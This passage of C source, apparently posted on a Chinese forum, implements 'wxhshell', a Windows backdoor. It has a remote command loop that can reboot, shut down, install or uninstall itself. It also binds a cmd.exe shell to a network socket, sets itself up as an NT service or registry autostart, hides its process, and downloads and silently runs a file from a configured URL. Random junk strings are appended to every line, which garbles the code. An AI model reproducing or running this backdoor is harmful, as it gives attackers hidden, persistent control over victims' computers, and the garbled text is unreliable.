  // 帮助 dP2irC%f8  
  case '?': { TCKu,}s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @Yw,nQE)b  
    break; `\u;K9S6  
  } G bP!9I  
  // 安装 [V8fu qE>  
  case 'i': { M\<w#wZ  
    if(Install()) H].y w9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $(pF;_W  
    else ; 0v>Rfa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m} ?rJ  
    break; ` Nh"  
    } p,g1eb|E  
  // 卸载 ^L4Qbc(vJ  
  case 'r': { a,t``'c;  
    if(Uninstall()) bvBHYf:^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wN-i?Ek0;  
    else 1j-te-}"c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `lDut1J5n  
    break; P(k(m< 0  
    } z&8un% Jt  
  // 显示 wxhshell 所在路径 `6Qdfmk=  
  case 'p': { QnouBrhO  
    char svExeFile[MAX_PATH]; yF._*9Q3hK  
    strcpy(svExeFile,"\n\r"); az;Q"V'6  
      strcat(svExeFile,ExeFile); (h-*_a}F4  
        send(wsh,svExeFile,strlen(svExeFile),0); m#/_x  
    break; Z;Rp+ X  
    } G2{O9  
  // 重启 SzD KByi  
  case 'b': { ]q5`YB%_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3uu~p!2  
    if(Boot(REBOOT)) <bck~E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &QX`NO 6  
    else { e?0q9W  
    closesocket(wsh); L)QE`24  
    ExitThread(0); |!SO G  
    } I&|f'pn^<  
    break; |C%Pjl^YkV  
    } Scm36sT{  
  // 关机 qm*}U3K  
  case 'd': { .9[45][FK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [k$*4 u >  
    if(Boot(SHUTDOWN)) CI:^\-z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o KD/rI  
    else { j9+I0>#X  
    closesocket(wsh); 4M&`$Wim  
    ExitThread(0); qGmNz}4D5  
    } 9Mp$8-=>7  
    break; g.JN_t5  
    } x"P);su  
  // 获取shell ?rX]x8iP  
  case 's': { HS>f1!  
    CmdShell(wsh); X@)z80  
    closesocket(wsh); \<0B1m  
    ExitThread(0); y4:H3Sk  
    break; ma$Prd  
  } !}+tdT(y  
  // 退出 ^vs=f 95  
  case 'x': { ^-CINt{O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f ).1]~  
    CloseIt(wsh); )py{\r9X  
    break; }V;+l8  
    } 3l<S}k@M)  
  // 离开 22P$ ~ch  
  case 'q': { KfCoe[Vv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5BkV aF7Th  
    closesocket(wsh); *1Z5+uVT[  
    WSACleanup(); y7i%W4  
    exit(1); FSuAjBl0-  
    break; S\6[EQ65  
        } ,bE$| x'  
  } y;?ie]3G  
  } JPM))4YDR  
L(>=BK*  
  // 提示信息 X;F?:Iw\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8;Fn7k_Uf  
} e}VBRvr  
  } u,3,ck!B>@  
s#Jh -+lM  
  return; :HxA`@Ok  
} HpEQEIvt  
7`IpBm<  
// shell模块句柄 yV3^Qtb!  
int CmdShell(SOCKET sock) ZD#9&q'4<  
{ \AUI|M;'  
STARTUPINFO si;  =$8nUX`  
ZeroMemory(&si,sizeof(si)); am_gH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tj]9~eJ-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZlYPoOq  
PROCESS_INFORMATION ProcessInfo; *=ZsqOHwG  
char cmdline[]="cmd"; U'UQ|%5f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ch()P.n?  
  return 0; t%zpNd2lk  
} ,h\sF#|  
0n~Zz  
// 自身启动模式 K-<^ $VWh  
int StartFromService(void) R:JX<Ba  
{ Ll4bdz,  
typedef struct C'=k&#<-  
{ {y]mk?j  
  DWORD ExitStatus; '$As<LOEd/  
  DWORD PebBaseAddress; Q(d9n8  
  DWORD AffinityMask; rKHY?{!  
  DWORD BasePriority; Fhz*&JC#  
  ULONG UniqueProcessId; l:6,QaT1  
  ULONG InheritedFromUniqueProcessId; @=]~\[e\  
}   PROCESS_BASIC_INFORMATION; ~1m2#>  
R8L_J6Kpa  
PROCNTQSIP NtQueryInformationProcess; u JR%0E7!  
U`Jy!x2m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .O*bILU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )4?x5#  
Ed0IWPx  
  HANDLE             hProcess; N!Qg;(  
  PROCESS_BASIC_INFORMATION pbi; =@u 5|:  
dLsn\m>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xCzebG["  
  if(NULL == hInst ) return 0; _ 7PMmW@  
>StO.Q99  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5G0 $  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $I#q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8;y&Pb~)  
rV({4cIe9R  
  if (!NtQueryInformationProcess) return 0; "x941 }  
`6y{.$ z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wi8Yl1p]!z  
  if(!hProcess) return 0; }~h'FHCC+  
6~#Ih)K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HIGq%m=-x  
;U: {/  
  CloseHandle(hProcess); 2,vB'CAI  
7:]Pl=:X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'sp-%YlM -  
if(hProcess==NULL) return 0; q'oMAMf}  
zL5d0_E9  
HMODULE hMod; 8,O33qwH  
char procName[255]; %xlqF<  
unsigned long cbNeeded; v{i7h|e  
=.|J!x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OI} &m^IOo  
d0hhMx6$  
  CloseHandle(hProcess); Y $g$x<7  
p\C%%  
if(strstr(procName,"services")) return 1; // 以服务启动 wpA`(+J  
% |q0-x  
  return 0; // 注册表启动 G>YAJ o  
} (vR 9H(#  
a</D_66  
// 主模块 r4x3$M c  
int StartWxhshell(LPSTR lpCmdLine) \^1+U JU  
{ L.xZ_ 6  
  SOCKET wsl; _<$>*i R  
BOOL val=TRUE; krq/7|  
  int port=0; Z'^U ad6  
  struct sockaddr_in door; 7z\m; 1  
IdIrI  
  if(wscfg.ws_autoins) Install(); #jpoHvt h  
3:"]Rn([P  
port=atoi(lpCmdLine); c/L>>t  
=H0vE7{*  
if(port<=0) port=wscfg.ws_port; #{r#;+  
e@@?AB$n(  
  WSADATA data; ,=(Z00#(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xE}VTHFo'  
hA 3HVP_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SUWD]k>PH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6#}93Dgv4  
  door.sin_family = AF_INET; L_Q#(in  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d;Hn#2C  
  door.sin_port = htons(port); syx\gz  
G.+l7bnZM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )Fd HV;K  
closesocket(wsl); rQ4*k'lA:  
return 1; a/~aFmu6b  
} 2LCB])X  
M)?dEgU}M  
  if(listen(wsl,2) == INVALID_SOCKET) { ~mV"i7VX  
closesocket(wsl); g#NZ ,~  
return 1; _a_xzv'  
} YL jHt\  
  Wxhshell(wsl); H@X oqgI  
  WSACleanup(); _!xD8Di#  
 gB\T[RV  
return 0; 2)?(R;$,  
71#I5*8  
} Z'pQ^MO  
)oo~m\`  
// 以NT服务方式启动 3qHQX?a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h9$ Fx  
{  "SN4*  
DWORD   status = 0; oq-<ob  
  DWORD   specificError = 0xfffffff; d;tkJ2@NO  
2y0J`!/)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k)S.]!u&G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tg4Y i|5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zWw2V}U!  
  serviceStatus.dwWin32ExitCode     = 0; w)E@*h<Z  
  serviceStatus.dwServiceSpecificExitCode = 0; n<Svw a}  
  serviceStatus.dwCheckPoint       = 0; wI M{pK  
  serviceStatus.dwWaitHint       = 0; {v aaFs  
,~ ?'Ef80  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QVZD/shq  
  if (hServiceStatusHandle==0) return; 4A{|[}!  
NIZ<0I*5  
status = GetLastError(); n?#!VN3  
  if (status!=NO_ERROR) w&Dv8Wv+Oq  
{ \u`)kJ5o1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LW#M@  
    serviceStatus.dwCheckPoint       = 0; :&}odx!-!C  
    serviceStatus.dwWaitHint       = 0; 50j OA#l[  
    serviceStatus.dwWin32ExitCode     = status; +y[@T6_  
    serviceStatus.dwServiceSpecificExitCode = specificError; #gQF'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J2GcBzRH  
    return; 7RU}FE  
  } wYeB)1.  
 (dJI_A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <j}lp-  
  serviceStatus.dwCheckPoint       = 0; c- $Gpa}M  
  serviceStatus.dwWaitHint       = 0; mIZwAKo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C`oa3B,z  
} u#W5`sl  
z `8cOK-  
// 处理NT服务事件,比如:启动、停止 NW$H"}+o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Zr$d20M2A;  
{ ?{o/I\\  
switch(fdwControl) k!jNOqbb  
{ {hSGv   
case SERVICE_CONTROL_STOP: Gtv,Izt  
  serviceStatus.dwWin32ExitCode = 0; >(9F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v=Y K8fNi  
  serviceStatus.dwCheckPoint   = 0; u'Q?T7  
  serviceStatus.dwWaitHint     = 0; 7&}P{<}o^  
  { *#>F.#9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WiNT;v[  
  } oR+-+-? ?$  
  return;  }`/gX=91  
case SERVICE_CONTROL_PAUSE: A)n W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R U"/2i  
  break; V|Tud  
case SERVICE_CONTROL_CONTINUE: !KS F3sz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hPm>tV2X  
  break; 4FeEGySow  
case SERVICE_CONTROL_INTERROGATE: x  FJg  
  break; F SMj  
}; KM?1/KZ/~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9G?ldp8  
} V+MK'<#B  
T~4mQuYi  
// 标准应用程序主函数 yT /EHmJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L6:h.1 U$  
{ qX:B4,|ck  
,1n >U?5  
// 获取操作系统版本 !jX4`/n2  
OsIsNt=GetOsVer(); `qpc*enf0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MKGS`X]<J  
={(j`VSUX0  
  // 从命令行安装 Q}%tt=KD  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hy; Hs#  
Y8s;w!/  
  // 下载执行文件  {E9v`u\  
if(wscfg.ws_downexe) { ~9pM%N V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l?N`{ ,1^  
  WinExec(wscfg.ws_filenam,SW_HIDE); >.9eBz@  
} _v5t<_^N  
qV1O-^&[f=  
if(!OsIsNt) { O_@2;iD^^  
// 如果时win9x,隐藏进程并且设置为注册表启动 T(X:Yw  
HideProc(); GrEs1M1]*  
StartWxhshell(lpCmdLine); s PYX~G&T  
} Ayx^Wp*s  
else *3{J#Q6fk3  
  if(StartFromService()) =fLL|  
  // 以服务方式启动 #mc!Wt 10  
  StartServiceCtrlDispatcher(DispatchTable); % n$^-Vc&  
else kN9yO5 h7  
  // 普通方式启动 uK*|2U6t  
  StartWxhshell(lpCmdLine); "Tbnxx]J  
C? m,ta3  
return 0; =Z0t :{  
}
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只看该作者 1 发表于: 2006-10-10
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